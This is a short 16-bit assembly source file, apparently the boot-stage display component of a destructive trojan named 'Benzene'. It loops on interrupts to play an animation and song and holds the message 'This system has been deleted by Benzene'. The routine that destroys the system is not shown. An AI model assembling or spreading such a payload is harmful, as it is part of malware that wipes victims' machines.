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; This is where the program starts after decompression
use16
org 0
%include "Utils/macros.asm"
%include "Setup/setup.asm"
; Everything should be already set up, so the only
; thing we need to do here is to wait for interrupts
haltLoop:
hlt
jmp haltLoop
; Include the interrupt handlers after the loop to
; prevent them from triggering by including the code
%include "Interrupts/timerHandler.asm"
%include "Interrupts/keyboardHandler.asm"
%include "Utils/timer.asm"
%include "Animation/countNyan.asm"
%include "Animation/displayFrame.asm"
%include "Animation/playNote.asm"
; ==============================
; Variables
; ==============================
; ==============================
; Data
; ==============================
frames: incbin "../../Build/frames.bin"
framesLength: equ $-frames
special: incbin "../../Build/special.bin"
specialLength: equ $-special
song: incbin "../../Build/song.bin"
songLength: equ $-song
message: db "This system has been deleted by Benzene"
messageLength: equ $-message